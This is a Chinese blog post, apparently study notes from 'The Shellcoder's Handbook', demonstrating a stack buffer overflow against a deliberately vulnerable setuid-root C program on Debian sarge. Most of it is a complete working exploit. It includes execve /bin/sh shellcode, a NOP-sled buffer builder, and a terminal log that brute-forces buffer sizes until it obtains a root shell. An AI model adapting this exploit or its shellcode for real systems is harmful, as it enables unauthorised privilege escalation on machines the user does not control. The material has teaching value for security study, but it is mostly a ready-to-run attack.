shellcode之二.Plus:victim漏洞提权实例

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。


在<简述漏洞提权>中提到一个简单的程序victim攻击。由于之前我的系统是Debian/Etch,会故意变化栈的地址,当时未能按照书上做这个测试。后来装了sarge,遂进行这个实验,因为这个攻击实例非常有助于栈溢出的理解。

注:sarge的sources.list源非常少了,至少我找不到,我用的是DVD源。DVD下载地址:http://cdimage.debian.org/cdimage/archive/3.1_r8/i386/iso-dvd/


插入光盘后,运行以下命令,建立编译环境,开通telnet和nfs服务。

apt-cdrom add

apt-get update

apt-get install build-essential

apt-get install telnetd nfs-kernel-server nfs-common 


find esp


写个find_esp.c,用于输出程序栈地址:

sep@debian:~$ cd shellcode/  
sep@debian:~/shellcode$ ls  
exploit_victim find_esp hellworld shellcode victim  
exploit_victim.c find_esp.c hellworld.c shellcode.c victim.c  
sep@debian:~/shellcode$ cat find_esp.c  
//file: find_esp.c  
  
#include <stdio.h>  
  
unsigned long find_esp()  
{  
    __asm__("movl %esp, %eax");  
}  
  
int main()  
{  
    printf("0x%x/n", find_esp());  
}  
  
sep@debian:~/shellcode$ ./find_esp   
0xbffffb58  
sep@debian:~/shellcode$ ./find_esp   
0xbffffb58  
sep@debian:~/shellcode$ ./find_esp   
0xbffffb58  
sep@debian:~/shellcode$ 

可以看到三次运行find_esp都返回一致的地址值。


victim漏洞


sep@debian:~/shellcode$ cat victim.c   
//file: victim.c  
  
#include <stdio.h>  
  
int main(int argc, char *argv[])  
{  
    char little_arr[512];  
    if (argc > 1)  
        strcpy(little_arr, argv[1]);  
}  
  
sep@debian:~/shellcode$ ls -l victim  
-rwsr-sr-x 1 root sep 11395 2010-08-12 10:00 victim  
sep@debian:~/shellcode$  

注意victim.c中strcpy,程序从命令行获取输入后,在没有进行边界检查的情况下,把输入数据复制到数组,这给我们方便进行栈溢出。注:目标程序victim的属主已设为root,suid位打开,当攻击完成后,我们将会拥有根特权。


编写溢出攻击程序


之前有提及我们所面临的最困难的问题是找出shellcode的起始地址,只能根据esp地址进行猜测。我们用NOP法写一个EXP,如下:

//file: exploit_victim.c  
  
#include <stdio.h>  
  
#define DEFAULT_BUFFER_SIZE 512 //默认缓冲区大小,与victim.c缓冲区大小一致  
#define NOP 0x90 //空操作指令OP码  
#define NO_DEBUG  
  
#ifdef NO_DEBUG  
#define DPRINTF(a,...)  
#else  
#define DPRINTF printf  
#endif  
  
char shellcode[] = "/xeb/x1a/x5e/x31"  
                   "/xc0/x88/x46/x07"  
                   "/x8d/x1e/x89/x5e"  
                   "/x08/x89/x46/x0c"  
                   "/xb0/x0b/x89/xf3"  
                   "/x8d/x4e/x08/x8d"  
                   "/x56/x0c/xcd/x80"  
                   "/xe8/xe1/xff/xff"  
                   "/xff/x2f/x62/x69"  
                   "/x6e/x2f/x73/x68";  
  
//在sarge中,每个程序的栈都以同样的地址开始,根据这个地址可以猜测shellcode的起始地址   
unsigned long find_esp()  
{  
    __asm__("movl %esp, %eax");  
}  
  
void main(int argc, char *argv[])  
{  
    char *buff, *ptr;  
    long *paddr, addr;  
    int bsize = DEFAULT_BUFFER_SIZE;  
    int i;  
      
    if (argc > 1) bsize = atoi(argv[1]);  
    if (bsize < strlen(shellcode)) {  
        printf("Buffer size is too small./n");  
        exit(1);  
    }  
          
    if (!(buff = malloc(bsize))) {  
        printf("Can't allocate memory./n");  
        exit(1);  
    }  
      
    addr = find_esp();  
    printf("Using address: 0x%08x/n", addr);  
      
    ptr = buff;  
    DPRINTF("/n/n");  
    DPRINTF("Fill buff with NOP:/n");  
    for (i = 0; i < (bsize/2 - strlen(shellcode)/2); i++) {  
        *(ptr++) = NOP;  
        if ((i%0x10) == 0) DPRINTF("/n");  
        DPRINTF("%02x ", *(long *)(ptr-1));  
    }  
      
    DPRINTF("/n/n");      
    DPRINTF("Fill buff with shellcode:/n");  
    for (i = 0; i < strlen(shellcode); i++) {  
        *(ptr++) = shellcode[i];  
        if ((i%0x10) == 0) DPRINTF("/n");  
        DPRINTF("%02x ", *(long *)(ptr-1));  
    }  
      
    DPRINTF("/n/n");  
    DPRINTF("Fill buff with ret address:/n");  
    for (i = 0; ptr < &buff[bsize-1]; ptr += 4, i++) {  
        *(long *)ptr = addr;  
        if ((i%0x8) == 0) DPRINTF("/n");  
        DPRINTF("%08x ", *(long *)ptr);  
    }  
    DPRINTF("/n/n");  
          
    buff[bsize - 1] = '/0';  
      
    memcpy(buff, "BUF=", 4);  
    putenv(buff);  
    system("/bin/bash");  
} 

测试结果:
sep@debian:~/shellcode$ gcc -o exploit_victim exploit_victim.c   
exploit_victim.c: In function `main':  
exploit_victim.c:45: warning: assignment makes pointer from integer without a cast  
exploit_victim.c:33: warning: return type of `main' is not `int'  
sep@debian:~/shellcode$ ./exploit_victim   
Using address: 0xbffffb18  
sep@debian:~/shellcode$ ./victim $BUF         
sep@debian:~/shellcode$ ./exploit_victim 520  
Using address: 0xbffff928  
sep@debian:~/shellcode$ ./victim $BUF  
sep@debian:~/shellcode$ ./exploit_victim 530  
Using address: 0xbffff928  
sep@debian:~/shellcode$ ./victim $BUF  
Segmentation fault  
sep@debian:~/shellcode$ ./exploit_victim 540  
Using address: 0xbffff918  
sep@debian:~/shellcode$ ./victim $BUF  
Segmentation fault  
sep@debian:~/shellcode$ ./exploit_victim 550  
Using address: 0xbffff908  
sep@debian:~/shellcode$ ./victim $BUF  
Segmentation fault  
sep@debian:~/shellcode$ ./exploit_victim 560  
Using address: 0xbffff908  
sep@debian:~/shellcode$ ./victim $BUF  
sh-2.05b# id  
uid=1000(sep) gid=1000(sep) euid=0(root) groups=1000(sep),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)  
sh-2.05b# exit  
exit  
sep@debian:~/shellcode$ ./exploit_victim 600  
Using address: 0xbffff8f8  
sep@debian:~/shellcode$ ./victim $BUF  
sh-2.05b#    
sh-2.05b# exit  
exit  
sep@debian:~/shellcode$  
尝试多个地址后,成功拿到root特权。

你可能感兴趣的:(shellcode之二.Plus:victim漏洞提权实例)